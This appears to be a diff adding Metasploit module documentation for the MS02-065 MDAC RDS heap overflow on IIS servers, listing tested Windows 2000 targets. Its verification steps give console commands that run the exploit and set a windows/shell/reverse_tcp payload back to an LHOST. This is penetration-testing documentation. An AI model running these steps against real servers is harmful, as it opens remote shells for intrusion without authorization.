## Vulnerable Application
2+
3+
This module can be used to execute arbitrary code on IIS servers
4+
that expose the /msadc/msadcs.dll Microsoft Data Access Components
5+
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
6+
exploitable even when RDS is configured to deny remote connections
7+
(handsafe.reg). The service is vulnerable to a heap overflow where
8+
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
9+
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
10+
11+
This module has been tested successfully on:
12+
13+
* Windows 2000 Pro SP0-SP3 (English)
14+
* Windows 2000 Pro SP0 (Korean)
15+
* Windows 2000 Pro SP0 (Dutch)
16+
* Windows 2000 Pro SP0 (Finnish)
17+
* Windows 2000 Pro SP0 (Turkish)
18+
* Windows 2000 Pro SP0-SP1 (Greek)
19+
* Windows 2000 Pro SP1 (Arabic)
20+
* Windows 2000 Pro SP1 (Czech)
21+
* Windows 2000 Pro SP2 (French)

## Verification Steps
25+
26+
1. `use exploit/windows/iis/ms02_065_msadc`
27+
1. `set RHOSTS [IP]`
28+
1. `show targets` to see the possible targets
29+
1. `set TARGET [TARGET]`
30+
1. `set PAYLOAD windows/shell/reverse_tcp`
31+
1. `set LHOST [IP]`
32+
1. `run`
33+
34+
## Options
35+
36+
### TARGETURI
37+
38+
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
39+
40+
